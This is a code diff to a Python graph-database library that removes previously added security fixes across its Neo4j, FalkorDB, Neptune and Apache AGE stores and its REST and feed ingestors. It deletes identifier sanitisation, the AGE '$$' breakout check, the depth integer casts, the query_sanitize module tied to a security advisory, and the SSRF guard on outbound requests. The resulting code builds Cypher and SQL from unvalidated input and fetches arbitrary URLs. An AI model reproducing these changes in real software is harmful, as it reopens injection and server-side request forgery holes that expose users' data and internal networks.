|
||||
]
|
||||
|
||||
# Error status columns — opt-in via include=["metric_errors"]
|
||||
# (used by compute_pairs when "metric_errors" is in include set)
|
||||
|
||||
|
||||
class DistanceExporter:
|
||||
"""Compute and export pairwise distance metrics for a ContextGraph."""
|
||||
@@ -71,77 +65,59 @@ class DistanceExporter:
|
||||
node = getattr(self.graph, "nodes", {}).get(node_id)
|
||||
return getattr(node, "node_type", "") if node else ""
|
||||
|
||||
def _betweenness(self, graph_dict: Dict[str, Any]) -> Tuple[Dict[str, float], Optional[str]]:
|
||||
"""Return (betweenness_dict, error). error is None on success."""
|
||||
def _betweenness(self, graph_dict: Dict[str, Any]) -> Dict[str, float]:
|
||||
if self._centrality is None:
|
||||
return {}, None
|
||||
return {}
|
||||
try:
|
||||
result = self._centrality.calculate_betweenness_centrality(graph_dict)
|
||||
return (result.get("betweenness", {}) if isinstance(result, dict) else {}), None
|
||||
return result.get("betweenness", {}) if isinstance(result, dict) else {}
|
||||
except Exception:
|
||||
logger.warning("Betweenness centrality computation failed; omitting from export", exc_info=True)
|
||||
return {}, "betweenness"
|
||||
return {}
|
||||
|
||||
def _hop_distance(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Tuple[Optional[int], Optional[str]]:
|
||||
"""Return (hop_count, error). error is None on success or a short description on failure."""
|
||||
def _hop_distance(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Optional[int]:
|
||||
if self._path_finder is None:
|
||||
return None, None # KG unavailable — not an error, just no data
|
||||
return None
|
||||
try:
|
||||
result = self._path_finder.bfs_shortest_path(graph_dict, src, tgt)
|
||||
path = result.get("path", []) if isinstance(result, dict) else (result or [])
|
||||
return (len(path) - 1 if path else None), None
|
||||
return len(path) - 1 if path else None
|
||||
except Exception:
|
||||
logger.warning("Hop distance computation failed for %s -> %s; returning None sentinel", src, tgt, exc_info=True)
|
||||
return None, "hop_count"
|
||||
return None
|
||||
|
||||
def _weighted_distance(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Tuple[Optional[float], Optional[str]]:
|
||||
"""Return (weighted_distance, error). error is None on success."""
|
||||
def _weighted_distance(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Optional[float]:
|
||||
if self._path_finder is None:
|
||||
return None, None
|
||||
return None
|
||||
try:
|
||||
result = self._path_finder.dijkstra_shortest_path(graph_dict, src, tgt)
|
||||
if isinstance(result, dict):
|
||||
return float(result.get("total_weight", len(result.get("path", [])) - 1)), None
|
||||
return None, None
|
||||
return float(result.get("total_weight", len(result.get("path", [])) - 1))
|
||||
return None
|
||||
except Exception:
|
||||
logger.warning("Weighted distance computation failed for %s -> %s; returning None sentinel", src, tgt, exc_info=True)
|
||||
return None, "weighted_distance"
|
||||
return None
|
||||
|
||||
def _semantic_similarity(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Tuple[Optional[float], Optional[str]]:
|
||||
"""Return (similarity, error). error is None on success."""
|
||||
def _semantic_similarity(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Optional[float]:
|
||||
if self._similarity is None:
|
||||
return None, None
|
||||
return None
|
||||
try:
|
||||
sim = self._similarity.cosine_similarity(graph_dict, src, tgt)
|
||||
return (float(sim) if isinstance(sim, (int, float)) else None), None
|
||||
return float(sim) if isinstance(sim, (int, float)) else None
|
||||
except Exception:
|
||||
logger.warning("Semantic similarity computation failed for %s -> %s; returning None sentinel", src, tgt, exc_info=True)
|
||||
return None, "semantic_similarity"
|
||||
return None
|
||||
|
||||
def compute_pairs(
|
||||
self,
|
||||
include: Optional[List[str]] = None,
|
||||
node_subset: Optional[List[str]] = None,
|
||||
) -> List[Dict[str, Any]]:
|
||||
"""Compute all pairwise distance metrics and return as a list of dicts.
|
||||
|
||||
When ``include`` contains ``"metric_errors"``, each row gains a
|
||||
``metric_errors`` field: an empty string when all metrics succeeded, or
|
||||
a comma-separated list of metric names that raised during computation
|
||||
(e.g. ``"hop_count,weighted_distance"``). This lets downstream consumers
|
||||
distinguish legitimate ``None`` (no path) from computation failure.
|
||||
"""
|
||||
"""Compute all pairwise distance metrics and return as a list of dicts."""
|
||||
include_set = set(include or _ALL_COLUMNS)
|
||||
track_errors = "metric_errors" in include_set
|
||||
include_set.discard("metric_errors") # not a real metric to compute
|
||||
graph_dict = self._build_graph_dict()
|
||||
|
||||
node_ids = node_subset or list(self.graph.nodes.keys())
|
||||
|
||||
betweenness: Dict[str, float] = {}
|
||||
betweenness_err: Optional[str] = None
|
||||
if "source_betweenness" in include_set or "target_betweenness" in include_set:
|
||||
betweenness, betweenness_err = self._betweenness(graph_dict)
|
||||
betweenness = self._betweenness(graph_dict)
|
||||
|
||||
rows = []
|
||||
for i, src in enumerate(node_ids):
|
||||
@@ -149,10 +125,6 @@ class DistanceExporter:
|
||||
if src == tgt:
|
||||
continue
|
||||
row: Dict[str, Any] = {}
|
||||
errors: List[str] = []
|
||||
if betweenness_err:
|
||||
errors.append(betweenness_err)
|
||||
|
||||
if "source_id" in include_set:
|
||||
row["source_id"] = src
|
||||
if "source_type" in include_set:
|
||||
@@ -164,23 +136,15 @@ class DistanceExporter:
|
||||
|
||||
hop_count: Optional[int] = None
|
||||
if "hop_count" in include_set or "distance_band" in include_set:
|
||||
hop_count, hop_err = self._hop_distance(graph_dict, src, tgt)
|
||||
if hop_err:
|
||||
errors.append(hop_err)
|
||||
hop_count = self._hop_distance(graph_dict, src, tgt)
|
||||
if "hop_count" in include_set:
|
||||
row["hop_count"] = hop_count
|
||||
|
||||
if "weighted_distance" in include_set:
|
||||
wd_val, wd_err = self._weighted_distance(graph_dict, src, tgt)
|
||||
row["weighted_distance"] = wd_val
|
||||
if wd_err:
|
||||
errors.append(wd_err)
|
||||
row["weighted_distance"] = self._weighted_distance(graph_dict, src, tgt)
|
||||
|
||||
if "semantic_similarity" in include_set:
|
||||
ss_val, ss_err = self._semantic_similarity(graph_dict, src, tgt)
|
||||
row["semantic_similarity"] = ss_val
|
||||
if ss_err:
|
||||
errors.append(ss_err)
|
||||
row["semantic_similarity"] = self._semantic_similarity(graph_dict, src, tgt)
|
||||
|
||||
if "distance_band" in include_set:
|
||||
row["distance_band"] = classify_path_distance(hop_count) if hop_count is not None else "distant"
|
||||
@@ -190,9 +154,6 @@ class DistanceExporter:
|
||||
if "target_betweenness" in include_set:
|
||||
row["target_betweenness"] = betweenness.get(tgt)
|
||||
|
||||
if track_errors:
|
||||
row["metric_errors"] = ",".join(errors) if errors else ""
|
||||
|
||||
rows.append(row)
|
||||
return rows
|
||||
|
||||
|
||||
@@ -338,13 +338,6 @@ class ApacheAgeStore:
|
||||
"host=localhost dbname=agedb user=postgres password=postgres",
|
||||
)
|
||||
self.graph_name = graph_name or config.get("graph_name", "semantica")
|
||||
# SECURITY: Sanitize graph_name to prevent SQL injection in cypher() calls.
|
||||
# The graph_name is interpolated into SQL: cypher('{graph_name}', $$ ... $$)
|
||||
if not re.match(r"^[A-Za-z_][A-Za-z0-9_]*$", self.graph_name):
|
||||
raise ValidationError(
|
||||
f"Invalid graph_name '{self.graph_name}': must contain only "
|
||||
"alphanumeric characters and underscores."
|
||||
)
|
||||
|
||||
self._conn = None
|
||||
|
||||
@@ -452,20 +445,7 @@ class ApacheAgeStore:
|
||||
|
||||
Returns:
|
||||
List of raw row tuples from the cursor.
|
||||
|
||||
Raises:
|
||||
ValidationError: If the query contains ``$$`` which could break
|
||||
out of the AGE dollar-quoted string delimiter.
|
||||
"""
|
||||
# SECURITY: Reject queries containing $$ to prevent breakout from
|
||||
# AGE's dollar-quoted string delimiter. An attacker who injects $$
|
||||
# into the Cypher query can terminate the cypher() argument and
|
||||
# append arbitrary SQL.
|
||||
if "$$" in cypher:
|
||||
raise ValidationError(
|
||||
"Query contains forbidden '$$' sequence. "
|
||||
"Dollar-quoted delimiters are not allowed in Cypher queries."
|
||||
)
|
||||
self._ensure_connection()
|
||||
sql = (
|
||||
f"SELECT * FROM cypher('{self.graph_name}', $$ {cypher} $$) "
|
||||
|
||||
@@ -47,7 +47,6 @@ from typing import Any, Dict, List, Optional, Union
|
||||
from ..utils.exceptions import ProcessingError, ValidationError
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
from .query_sanitize import sanitize_identifier
|
||||
|
||||
# Optional boto3 for AWS credentials and SigV4 signing
|
||||
try:
|
||||
@@ -982,8 +981,7 @@ class AmazonNeptuneStore:
|
||||
node_id = props_copy.pop("id", None) or self._generate_id()
|
||||
use_merge = options.get("merge", True)
|
||||
|
||||
label_str = ":".join(sanitize_identifier(l, "label") for l in labels) if labels else "Node"
|
||||
safe_keys = [sanitize_identifier(k, "property key") for k in props_copy.keys()]
|
||||
label_str = ":".join(labels) if labels else "Node"
|
||||
|
||||
# Build parameters
|
||||
params = {"node_id": str(node_id)}
|
||||
@@ -992,7 +990,9 @@ class AmazonNeptuneStore:
|
||||
|
||||
if use_merge:
|
||||
# MERGE: Return existing node if ID matches, or create new
|
||||
set_parts = [f"n.{key} = ${key}" for key in safe_keys]
|
||||
set_parts = []
|
||||
for key in props_copy.keys():
|
||||
set_parts.append(f"n.{key} = ${key}")
|
||||
|
||||
if set_parts:
|
||||
set_clause = ", ".join(set_parts)
|
||||
@@ -1005,7 +1005,9 @@ class AmazonNeptuneStore:
|
||||
query = f"MERGE (n:{label_str} {{`~id`: $node_id}}) RETURN n"
|
||||
else:
|
||||
# CREATE: Will fail if node with same ID exists
|
||||
prop_parts = ["`~id`: $node_id"] + [f"{key}: ${key}" for key in safe_keys]
|
||||
prop_parts = ["`~id`: $node_id"]
|
||||
for key in props_copy.keys():
|
||||
prop_parts.append(f"{key}: ${key}")
|
||||
prop_assignments = ", ".join(prop_parts)
|
||||
query = f"CREATE (n:{label_str} {{{prop_assignments}}}) RETURN n"
|
||||
|
||||
@@ -1160,7 +1162,7 @@ class AmazonNeptuneStore:
|
||||
|
||||
# Build query
|
||||
if labels:
|
||||
label_str = ":".join(sanitize_identifier(l, "label") for l in labels)
|
||||
label_str = ":".join(labels)
|
||||
query = f"MATCH (n:{label_str})"
|
||||
else:
|
||||
query = "MATCH (n)"
|
||||
@@ -1170,9 +1172,8 @@ class AmazonNeptuneStore:
|
||||
if properties:
|
||||
conditions = []
|
||||
for key, value in properties.items():
|
||||
safe_key = sanitize_identifier(key, "property key")
|
||||
param_key = f"prop_{safe_key}"
|
||||
conditions.append(f"n.{safe_key} = ${param_key}")
|
||||
param_key = f"prop_{key}"
|
||||
conditions.append(f"n.{key} = ${param_key}")
|
||||
params[param_key] = value
|
||||
query += " WHERE " + " AND ".join(conditions)
|
||||
|
||||
@@ -1340,16 +1341,15 @@ class AmazonNeptuneStore:
|
||||
}
|
||||
|
||||
# Build property assignments including ~id
|
||||
safe_rel_type = sanitize_identifier(rel_type, "relationship type")
|
||||
prop_parts = ["`~id`: $rel_id"]
|
||||
for key, value in props_copy.items():
|
||||
prop_parts.append(f"{sanitize_identifier(key, 'property key')}: ${key}")
|
||||
prop_parts.append(f"{key}: ${key}")
|
||||
params[key] = value
|
||||
|
||||
prop_assignments = ", ".join(prop_parts)
|
||||
query = (
|
||||
f"MATCH (a), (b) WHERE id(a) = $start_id AND id(b) = $end_id "
|
||||
f"CREATE (a)-[r:{safe_rel_type} {{{prop_assignments}}}]->(b) RETURN r"
|
||||
f"CREATE (a)-[r:{rel_type} {{{prop_assignments}}}]->(b) RETURN r"
|
||||
)
|
||||
|
||||
records = self._run_query(query, params)
|
||||
@@ -1405,7 +1405,7 @@ class AmazonNeptuneStore:
|
||||
try:
|
||||
self._ensure_connected()
|
||||
|
||||
type_filter = f":{sanitize_identifier(rel_type, 'relationship type')}" if rel_type else ""
|
||||
type_filter = f":{rel_type}" if rel_type else ""
|
||||
params = {}
|
||||
|
||||
if node_id is not None:
|
||||
@@ -1564,8 +1564,7 @@ class AmazonNeptuneStore:
|
||||
try:
|
||||
self._ensure_connected()
|
||||
|
||||
type_filter = f":{sanitize_identifier(rel_type, 'relationship type')}" if rel_type else ""
|
||||
depth = int(depth)
|
||||
type_filter = f":{rel_type}" if rel_type else ""
|
||||
|
||||
if direction == "out":
|
||||
pattern = f"-[r{type_filter}*1..{depth}]->"
|
||||
@@ -1635,7 +1634,7 @@ class AmazonNeptuneStore:
|
||||
try:
|
||||
self._ensure_connected()
|
||||
|
||||
type_filter = f":{sanitize_identifier(rel_type, 'relationship type')}" if rel_type else ""
|
||||
type_filter = f":{rel_type}" if rel_type else ""
|
||||
|
||||
# Neptune doesn't support named path patterns in shortestPath
|
||||
# Use iterative depth search instead
|
||||
|
||||
@@ -41,7 +41,6 @@ from typing import Any, Dict, List, Optional, Union
|
||||
from ..utils.exceptions import ProcessingError, ValidationError
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
from .query_sanitize import sanitize_identifier
|
||||
|
||||
# Optional FalkorDB import
|
||||
try:
|
||||
@@ -331,11 +330,11 @@ class FalkorDBStore:
|
||||
try:
|
||||
graph = self._ensure_graph()
|
||||
|
||||
label_str = ":".join(sanitize_identifier(l, "label") for l in labels)
|
||||
label_str = ":".join(labels)
|
||||
|
||||
# Build property string for Cypher
|
||||
props_str = ", ".join(
|
||||
f"{sanitize_identifier(k, 'property key')}: ${k}" for k in properties.keys()
|
||||
f"{k}: ${k}" for k in properties.keys()
|
||||
)
|
||||
|
||||
query = f"CREATE (n:{label_str} {{{props_str}}}) RETURN id(n) as id, n"
|
||||
@@ -393,9 +392,9 @@ class FalkorDBStore:
|
||||
labels = node.get("labels", [])
|
||||
properties = node.get("properties", {})
|
||||
|
||||
label_str = ":".join(sanitize_identifier(l, "label") for l in labels) if labels else "Node"
|
||||
label_str = ":".join(labels) if labels else "Node"
|
||||
props_str = ", ".join(
|
||||
f"{sanitize_identifier(k, 'property key')}: ${k}" for k in properties.keys()
|
||||
f"{k}: ${k}" for k in properties.keys()
|
||||
)
|
||||
|
||||
query = f"CREATE (n:{label_str} {{{props_str}}}) RETURN id(n) as id"
|
||||
@@ -448,7 +447,7 @@ class FalkorDBStore:
|
||||
|
||||
# Build query
|
||||
if labels:
|
||||
label_str = ":".join(sanitize_identifier(l, "label") for l in labels)
|
||||
label_str = ":".join(labels)
|
||||
query = f"MATCH (n:{label_str})"
|
||||
else:
|
||||
query = "MATCH (n)"
|
||||
@@ -457,8 +456,7 @@ class FalkorDBStore:
|
||||
if properties:
|
||||
conditions = []
|
||||
for key in properties.keys():
|
||||
safe_key = sanitize_identifier(key, "property key")
|
||||
conditions.append(f"n.{safe_key} = ${safe_key}")
|
||||
conditions.append(f"n.{key} = ${key}")
|
||||
query += " WHERE " + " AND ".join(conditions)
|
||||
|
||||
query += f" RETURN id(n) as id, n, labels(n) as labels LIMIT {limit}"
|
||||
@@ -506,8 +504,7 @@ class FalkorDBStore:
|
||||
# Build SET clause
|
||||
set_parts = []
|
||||
for key in properties.keys():
|
||||
safe_key = sanitize_identifier(key, "property key")
|
||||
set_parts.append(f"n.{safe_key} = ${safe_key}")
|
||||
set_parts.append(f"n.{key} = ${key}")
|
||||
|
||||
if merge:
|
||||
query = f"MATCH (n) WHERE id(n) = $node_id SET {', '.join(set_parts)} RETURN id(n) as id, n, labels(n) as labels"
|
||||
@@ -595,13 +592,9 @@ class FalkorDBStore:
|
||||
graph = self._ensure_graph()
|
||||
properties = properties or {}
|
||||
|
||||
safe_rel_type = sanitize_identifier(rel_type, "relationship type")
|
||||
|
||||
# Build property string
|
||||
if properties:
|
||||
props_str = ", ".join(
|
||||
f"{sanitize_identifier(k, 'property key')}: ${k}" for k in properties.keys()
|
||||
)
|
||||
props_str = ", ".join(f"{k}: ${k}" for k in properties.keys())
|
||||
props_str = f" {{{props_str}}}"
|
||||
else:
|
||||
props_str = ""
|
||||
@@ -609,7 +602,7 @@ class FalkorDBStore:
|
||||
query = f"""
|
||||
MATCH (a), (b)
|
||||
WHERE id(a) = $start_id AND id(b) = $end_id
|
||||
CREATE (a)-[r:{safe_rel_type}{props_str}]->(b)
|
||||
CREATE (a)-[r:{rel_type}{props_str}]->(b)
|
||||
RETURN id(r) as id, type(r) as type
|
||||
"""
|
||||
|
||||
@@ -663,7 +656,7 @@ class FalkorDBStore:
|
||||
"""
|
||||
try:
|
||||
graph = self._ensure_graph()
|
||||
type_filter = f":{sanitize_identifier(rel_type, 'relationship type')}" if rel_type else ""
|
||||
type_filter = f":{rel_type}" if rel_type else ""
|
||||
|
||||
if node_id is not None:
|
||||
if direction == "out":
|
||||
@@ -813,8 +806,7 @@ class FalkorDBStore:
|
||||
"""
|
||||
try:
|
||||
graph = self._ensure_graph()
|
||||
type_filter = f":{sanitize_identifier(rel_type, 'relationship type')}" if rel_type else ""
|
||||
depth = int(depth)
|
||||
type_filter = f":{rel_type}" if rel_type else ""
|
||||
|
||||
if direction == "out":
|
||||
pattern = f"-[r{type_filter}*1..{depth}]->"
|
||||
@@ -868,8 +860,7 @@ class FalkorDBStore:
|
||||
"""
|
||||
try:
|
||||
graph = self._ensure_graph()
|
||||
type_filter = f":{sanitize_identifier(rel_type, 'relationship type')}" if rel_type else ""
|
||||
max_depth = int(max_depth)
|
||||
type_filter = f":{rel_type}" if rel_type else ""
|
||||
|
||||
query = f"""
|
||||
MATCH path = shortestPath((start)-[r{type_filter}*..{max_depth}]-(end))
|
||||
@@ -938,13 +929,11 @@ class FalkorDBStore:
|
||||
"""
|
||||
try:
|
||||
graph = self._ensure_graph()
|
||||
safe_label = sanitize_identifier(label, "label")
|
||||
safe_property = sanitize_identifier(property_name, "property key")
|
||||
|
||||
if index_type == "fulltext":
|
||||
query = f"CALL db.idx.fulltext.createNodeIndex('{safe_label}', '{safe_property}')"
|
||||
query = f"CALL db.idx.fulltext.createNodeIndex('{label}', '{property_name}')"
|
||||
else:
|
||||
query = f"CREATE INDEX FOR (n:{safe_label}) ON (n.{safe_property})"
|
||||
query = f"CREATE INDEX FOR (n:{label}) ON (n.{property_name})"
|
||||
|
||||
graph.query(query)
|
||||
self.logger.info(f"Created {index_type} index on {label}.{property_name}")
|
||||
|
||||
@@ -38,7 +38,6 @@ from ..utils.exceptions import ValidationError
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
from .config import graph_store_config
|
||||
from .query_sanitize import sanitize_identifier
|
||||
|
||||
|
||||
class NodeManager:
|
||||
@@ -394,12 +393,12 @@ class GraphAnalytics:
|
||||
"""
|
||||
# Build query based on direction
|
||||
if labels:
|
||||
label_str = ":".join(sanitize_identifier(l, "label") for l in labels)
|
||||
label_str = ":".join(labels)
|
||||
match = f"MATCH (n:{label_str})"
|
||||
else:
|
||||
match = "MATCH (n)"
|
||||
|
||||
type_filter = f":{sanitize_identifier(rel_type, 'relationship type')}" if rel_type else ""
|
||||
type_filter = f":{rel_type}" if rel_type else ""
|
||||
|
||||
if direction == "out":
|
||||
query = f"""
|
||||
@@ -757,7 +756,7 @@ class GraphStore:
|
||||
**options: Additional options
|
||||
"""
|
||||
# Support 'hops' as alias for 'depth' for ContextRetriever compatibility
|
||||
actual_depth = int(options.get("hops", depth))
|
||||
actual_depth = options.get("hops", depth)
|
||||
return self._manager.analytics.get_neighbors(
|
||||
node_id, rel_type, direction, actual_depth, **options
|
||||
)
|
||||
|
||||
@@ -62,7 +62,6 @@ from typing import Any, Dict, List, Optional, Union
|
||||
|
||||
from .config import graph_store_config
|
||||
from .graph_store import GraphAnalytics, GraphStore, NodeManager, QueryEngine, RelationshipManager
|
||||
from .query_sanitize import sanitize_identifier
|
||||
from .registry import method_registry
|
||||
|
||||
# Global store instance
|
||||
@@ -358,8 +357,7 @@ def update_relationship(
|
||||
|
||||
# Default implementation - execute update query
|
||||
store = _get_store()
|
||||
safe_keys = [sanitize_identifier(k, "property key") for k in properties.keys()]
|
||||
set_parts = ", ".join(f"r.{k} = ${k}" for k in safe_keys)
|
||||
set_parts = ", ".join(f"r.{k} = ${k}" for k in properties.keys())
|
||||
query = f"MATCH ()-[r]->() WHERE id(r) = $rel_id SET {set_parts} RETURN id(r) as id, type(r) as type, r"
|
||||
params = {"rel_id": rel_id, **properties}
|
||||
result = store.execute_query(query, params)
|
||||
|
||||
@@ -38,7 +38,6 @@ from typing import Any, Dict, List, Optional, Union
|
||||
from ..utils.exceptions import ProcessingError, ValidationError
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
from .query_sanitize import sanitize_identifier
|
||||
|
||||
# Optional Neo4j import
|
||||
try:
|
||||
@@ -367,7 +366,7 @@ class Neo4jStore:
|
||||
)
|
||||
|
||||
try:
|
||||
label_str = ":".join(sanitize_identifier(l, "label") for l in labels)
|
||||
label_str = ":".join(labels)
|
||||
query = f"CREATE (n:{label_str} $props) RETURN id(n) as id, n"
|
||||
|
||||
with self.get_session() as session:
|
||||
@@ -425,7 +424,7 @@ class Neo4jStore:
|
||||
labels = node.get("labels", [])
|
||||
properties = node.get("properties", {})
|
||||
|
||||
label_str = ":".join(sanitize_identifier(l, "label") for l in labels) if labels else "Node"
|
||||
label_str = ":".join(labels) if labels else "Node"
|
||||
query = f"CREATE (n:{label_str} $props) RETURN id(n) as id, n"
|
||||
|
||||
result = session.run(query, {"props": properties})
|
||||
@@ -506,7 +505,7 @@ class Neo4jStore:
|
||||
try:
|
||||
# Build query
|
||||
if labels:
|
||||
label_str = ":".join(sanitize_identifier(l, "label") for l in labels)
|
||||
label_str = ":".join(labels)
|
||||
query = f"MATCH (n:{label_str})"
|
||||
else:
|
||||
query = "MATCH (n)"
|
||||
@@ -515,8 +514,7 @@ class Neo4jStore:
|
||||
if properties:
|
||||
conditions = []
|
||||
for key, value in properties.items():
|
||||
safe_key = sanitize_identifier(key, "property key")
|
||||
conditions.append(f"n.{safe_key} = ${safe_key}")
|
||||
conditions.append(f"n.{key} = ${key}")
|
||||
query += " WHERE " + " AND ".join(conditions)
|
||||
|
||||
query += f" RETURN id(n) as id, n, labels(n) as labels LIMIT {limit}"
|
||||
@@ -637,11 +635,10 @@ class Neo4jStore:
|
||||
|
||||
try:
|
||||
properties = properties or {}
|
||||
safe_rel_type = sanitize_identifier(rel_type, "relationship type")
|
||||
query = f"""
|
||||
MATCH (a), (b)
|
||||
WHERE id(a) = $start_id AND id(b) = $end_id
|
||||
CREATE (a)-[r:{safe_rel_type} $props]->(b)
|
||||
CREATE (a)-[r:{rel_type} $props]->(b)
|
||||
RETURN id(r) as id, type(r) as type, r
|
||||
"""
|
||||
|
||||
@@ -699,7 +696,7 @@ class Neo4jStore:
|
||||
List of matching relationships
|
||||
"""
|
||||
try:
|
||||
type_filter = f":{sanitize_identifier(rel_type, 'relationship type')}" if rel_type else ""
|
||||
type_filter = f":{rel_type}" if rel_type else ""
|
||||
|
||||
if node_id is not None:
|
||||
if direction == "out":
|
||||
@@ -860,8 +857,7 @@ class Neo4jStore:
|
||||
List of neighboring nodes with path information
|
||||
"""
|
||||
try:
|
||||
type_filter = f":{sanitize_identifier(rel_type, 'relationship type')}" if rel_type else ""
|
||||
depth = int(depth)
|
||||
type_filter = f":{rel_type}" if rel_type else ""
|
||||
|
||||
if direction == "out":
|
||||
pattern = f"-[r{type_filter}*1..{depth}]->"
|
||||
@@ -914,8 +910,7 @@ class Neo4jStore:
|
||||
Shortest path information or None if not found
|
||||
"""
|
||||
try:
|
||||
type_filter = f":{sanitize_identifier(rel_type, 'relationship type')}" if rel_type else ""
|
||||
max_depth = int(max_depth)
|
||||
type_filter = f":{rel_type}" if rel_type else ""
|
||||
|
||||
query = f"""
|
||||
MATCH path = shortestPath((start)-[r{type_filter}*..{max_depth}]-(end))
|
||||
@@ -980,22 +975,17 @@ class Neo4jStore:
|
||||
True if index created successfully
|
||||
"""
|
||||
try:
|
||||
safe_label = sanitize_identifier(label, "label")
|
||||
safe_property = sanitize_identifier(property_name, "property key")
|
||||
index_name = sanitize_identifier(
|
||||
options.get("index_name", f"idx_{safe_label}_{safe_property}"),
|
||||
"index name",
|
||||
)
|
||||
index_name = options.get("index_name", f"idx_{label}_{property_name}")
|
||||
|
||||
if index_type == "fulltext":
|
||||
query = f"""
|
||||
CREATE FULLTEXT INDEX {index_name} IF NOT EXISTS
|
||||
FOR (n:{safe_label}) ON EACH [n.{safe_property}]
|
||||
FOR (n:{label}) ON EACH [n.{property_name}]
|
||||
"""
|
||||
else:
|
||||
query = f"""
|
||||
CREATE INDEX {index_name} IF NOT EXISTS
|
||||
FOR (n:{safe_label}) ON (n.{safe_property})
|
||||
FOR (n:{label}) ON (n.{property_name})
|
||||
"""
|
||||
|
||||
with self.get_session() as session:
|
||||
|
||||
@@ -1,32 +0,0 @@
|
||||
"""
|
||||
Shared identifier validation for Cypher/SPARQL query builders.
|
||||
|
||||
Node labels, relationship types, and property keys can't be bound as query
|
||||
parameters the way values can, so any such identifier that reaches a query
|
||||
string unvalidated is a direct injection point (GHSA-482h-hw99-h62p).
|
||||
`age_store.py` already validates its labels/relationship types this way;
|
||||
this module generalizes that pattern for reuse across the other graph
|
||||
store backends without introducing an import cycle with `graph_store.py`
|
||||
or `methods.py`.
|
||||
"""
|
||||
|
||||
import re
|
||||
|
||||
from ..utils.exceptions import ValidationError
|
||||
|
||||
_IDENTIFIER_RE = re.compile(r"^[A-Za-z_][A-Za-z0-9_]*$")
|
||||
|
||||
|
||||
def sanitize_identifier(name: str, kind: str = "identifier") -> str:
|
||||
"""Validate a Cypher/SPARQL label, relationship type, or property key.
|
||||
|
||||
Only alphanumeric/underscore identifiers starting with a letter or
|
||||
underscore are allowed.
|
||||
"""
|
||||
if not isinstance(name, str) or not _IDENTIFIER_RE.match(name):
|
||||
raise ValidationError(
|
||||
f"Invalid {kind}: {name!r}. Must start with a letter or "
|
||||
"underscore and contain only alphanumeric characters and "
|
||||
"underscores."
|
||||
)
|
||||
return name
|
||||
@@ -38,7 +38,6 @@ except (ImportError, OSError):
|
||||
from ..utils.exceptions import ProcessingError, ValidationError
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
from .ssrf import parse_bool, request_with_ssrf_guard
|
||||
|
||||
|
||||
@dataclass
|
||||
@@ -79,16 +78,11 @@ class RESTIngestor:
|
||||
|
||||
Args:
|
||||
config: Optional REST API ingestion configuration dictionary
|
||||
**kwargs: Additional configuration parameters (merged into config).
|
||||
Recognized keys include ``allow_private_ips`` (default False) to
|
||||
opt into fetching private/loopback/link-local endpoints.
|
||||
**kwargs: Additional configuration parameters (merged into config)
|
||||
"""
|
||||
self.logger = get_logger("api_ingestor")
|
||||
self.config = config or {}
|
||||
self.config.update(kwargs)
|
||||
self.allow_private_ips = parse_bool(
|
||||
self.config.get("allow_private_ips"), default=False
|
||||
)
|
||||
|
||||
# Initialize session with retry strategy
|
||||
self.session = requests.Session()
|
||||
@@ -109,10 +103,7 @@ class RESTIngestor:
|
||||
# Initialize progress tracker
|
||||
self.progress_tracker = get_progress_tracker()
|
||||
|
||||
self.logger.debug(
|
||||
"REST API ingestor initialized (allow_private_ips=%s)",
|
||||
self.allow_private_ips,
|
||||
)
|
||||
self.logger.debug("REST API ingestor initialized")
|
||||
|
||||
def ingest_endpoint(
|
||||
self,
|
||||
@@ -146,7 +137,7 @@ class RESTIngestor:
|
||||
- metadata: Additional metadata
|
||||
|
||||
Raises:
|
||||
ValidationError: If endpoint is invalid or fails SSRF checks
|
||||
ValidationError: If endpoint is invalid
|
||||
ProcessingError: If request fails
|
||||
"""
|
||||
tracking_id = self.progress_tracker.start_tracking(
|
||||
@@ -162,12 +153,10 @@ class RESTIngestor:
|
||||
if headers:
|
||||
request_headers.update(headers)
|
||||
|
||||
# Make request (SSRF-safe; validates URL and each redirect hop)
|
||||
response = request_with_ssrf_guard(
|
||||
method,
|
||||
endpoint,
|
||||
session=self.session,
|
||||
allow_private_ips=self.allow_private_ips,
|
||||
# Make request
|
||||
response = self.session.request(
|
||||
method=method,
|
||||
url=endpoint,
|
||||
headers=request_headers,
|
||||
params=params,
|
||||
data=data,
|
||||
@@ -207,11 +196,6 @@ class RESTIngestor:
|
||||
},
|
||||
)
|
||||
|
||||
except ValidationError:
|
||||
self.progress_tracker.stop_tracking(
|
||||
tracking_id, status="failed", message=f"Invalid endpoint URL: {endpoint}"
|
||||
)
|
||||
raise
|
||||
except requests.exceptions.RequestException as e:
|
||||
self.progress_tracker.stop_tracking(
|
||||
tracking_id, status="failed", message=str(e)
|
||||
|
||||
@@ -42,7 +42,6 @@ from bs4 import BeautifulSoup
|
||||
from ..utils.exceptions import ProcessingError, ValidationError
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
from .ssrf import parse_bool, request_with_ssrf_guard
|
||||
|
||||
|
||||
@dataclass
|
||||
@@ -426,9 +425,6 @@ class FeedMonitor:
|
||||
self.thread: Optional[threading.Thread] = None
|
||||
self.update_callback: Optional[callable] = None
|
||||
self.check_interval = config.get("check_interval", 3600) # Default 1 hour
|
||||
self.allow_private_ips = parse_bool(
|
||||
config.get("allow_private_ips"), default=False
|
||||
)
|
||||
|
||||
def add_feed(self, feed_url: str, **options):
|
||||
"""
|
||||
@@ -489,12 +485,7 @@ class FeedMonitor:
|
||||
|
||||
try:
|
||||
# Fetch feed
|
||||
response = request_with_ssrf_guard(
|
||||
"GET",
|
||||
feed_url,
|
||||
allow_private_ips=self.allow_private_ips,
|
||||
timeout=30,
|
||||
)
|
||||
response = requests.get(feed_url, timeout=30)
|
||||
response.raise_for_status()
|
||||
|
||||
# Parse feed
|
||||
@@ -584,9 +575,6 @@ class FeedIngestor:
|
||||
self.logger = get_logger("feed_ingestor")
|
||||
self.config = config or {}
|
||||
self.config.update(kwargs)
